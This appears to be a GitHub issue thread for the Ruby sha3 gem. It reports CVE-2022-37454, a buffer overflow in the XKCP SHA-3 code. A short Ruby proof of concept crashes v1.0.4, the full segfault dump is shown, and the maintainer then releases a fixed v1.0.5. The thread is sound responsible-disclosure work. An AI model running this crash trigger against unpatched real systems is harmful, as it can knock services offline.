CVE-2022-37454 Buffer overflow

[tajuma]

As found and reported by Nicky Mouha [1] and reported as CVE-2022-37454 [2] there is a buffer overflow in the XKCP implementation.

Tested with v1.0.4 on Ruby 3.1.1

% cat sha3.rb
require 'sha3'

h = SHA3::Digest::SHA224.new
h.update("\x00")
h.update("\x00" * 4294967295)

% ruby sha3.rb
sha3.rb:7: [BUG] Segmentation fault at 0x000055c2e88c7000
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [x86_64-linux]

-- Control frame information -----------------------------------------------
c:0003 p:---- s:0012 e:000011 CFUNC  :update
c:0002 p:0044 s:0007 E:001c18 EVAL   sha3.rb:7 [FINISH]
c:0001 p:0000 s:0003 E:0009f0 (none) [FINISH]

-- Ruby level backtrace information ----------------------------------------
sha3.rb:7:in `<main>'
sha3.rb:7:in `update'

-- Machine register context ------------------------------------------------
 RIP: 0x00007f25d6da28b2 RBP: 0x000055c2e888bf40 RSP: 0x00007fffe70e9810
 RAX: 0x0000000000007618 RBX: 0x0000000000007618 RCX: 0x0000000000000000
 RDX: 0x0000000000000000 RDI: 0x00007fffe70e9810 RSI: 0x0000000000000000
  R8: 0x0000000000000008  R9: 0x0000000000000001 R10: 0x00007f25dac80558
 R11: 0x00007f25dae11910 R12: 0x0000000000000000 R13: 0x000055c2e888bf40
 R14: 0x00007f24d6dd30cf R15: 0x0000000000007619 EFL: 0x0000000000010246

-- C level backtrace information -------------------------------------------
/home/x/.rvm/rubies/ruby-3.1.1/lib/libruby.so.3.1(rb_print_backtrace+0x11) [0x7f25db36e14c] vm_dump.c:759
/home/x/.rvm/rubies/ruby-3.1.1/lib/libruby.so.3.1(rb_vm_bugreport) vm_dump.c:1045
/home/x/.rvm/rubies/ruby-3.1.1/lib/libruby.so.3.1(rb_bug_for_fatal_signal+0xf4) [0x7f25db166eb4] error.c:821
/home/x/.rvm/rubies/ruby-3.1.1/lib/libruby.so.3.1(sigsegv+0x4d) [0x7f25db2c21bd] signal.c:964
/lib/x86_64-linux-gnu/libc.so.6(__restore_rt+0x0) [0x7f25dacb3520]
/home/x/.rvm/gems/ruby-3.1.1/gems/sha3-1.0.4/lib/sha3_n.so(KeccakF1600_StateXORBytesInLane+0x42) [0x7f25d6da28b2]
/home/x/.rvm/gems/ruby-3.1.1/gems/sha3-1.0.4/lib/sha3_n.so(Keccak_SpongeAbsorb+0x131) [0x7f25d6dbe291]
/home/x/.rvm/gems/ruby-3.1.1/gems/sha3-1.0.4/lib/sha3_n.so(0x1ea52) [0x7f25d6dbea52]
...

[1] https://mouha.be/sha-3-buffer-overflow/
[2] https://nvd.nist.gov/vuln/detail/CVE-2022-37454

[johanns]

@tajuma Thanks. I'll cut a new gem shortly.

[johanns]

Released v1.0.5 with fix. Thanks for the report.

https://rubygems.org/gems/sha3/versions/1.0.5